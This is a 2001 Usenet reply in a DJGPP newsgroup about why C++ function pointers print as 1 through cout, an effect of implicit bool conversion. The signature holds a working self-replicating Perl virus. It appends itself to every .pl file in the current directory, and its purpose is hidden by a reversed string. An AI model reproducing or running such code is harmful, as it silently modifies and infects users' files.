From: rpolzer AT www42 DOT t-offline DOT de (echo 'Rudolf Polzer'>/dev/null)
Newsgroups: comp.os.msdos.djgpp
Subject: Re: Printing function pointers
References: <3AE082F7 DOT B4E9C05 AT jps DOT net>
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X-realname: Dennis Yelle
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Date: Fri, 20 Apr 2001 22:28:53 +0200
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To: djgpp AT delorie DOT com
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Dennis Yelle <dennis51 AT jps DOT net> wrote:
> I was surprised by the output from this program:
> ---------------------
> #include <iostream>
> 
> int junk1() { return 111; }
> 
> int junk2() { return 222; }
> 
> int main()
> {
>   if ( junk1 != junk2 ) {
>     cout << "different\n";
>   }
>   cout << junk1 << '\n';
>   cout << junk2 << '\n';
>   return 0;
> }
> ----------------------
> 
> I got this:
> ----------------
> different
> 1
> 1
> ---------------
> 
> So, the function pointers are different, but
> they both print as 1.  Is this expected, and desired
> behavior?  Or is it a bug?

They are implicitly converted to bool, but do not ask me why. Or is 
there a conversion chain function->bool->int?

-- 
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
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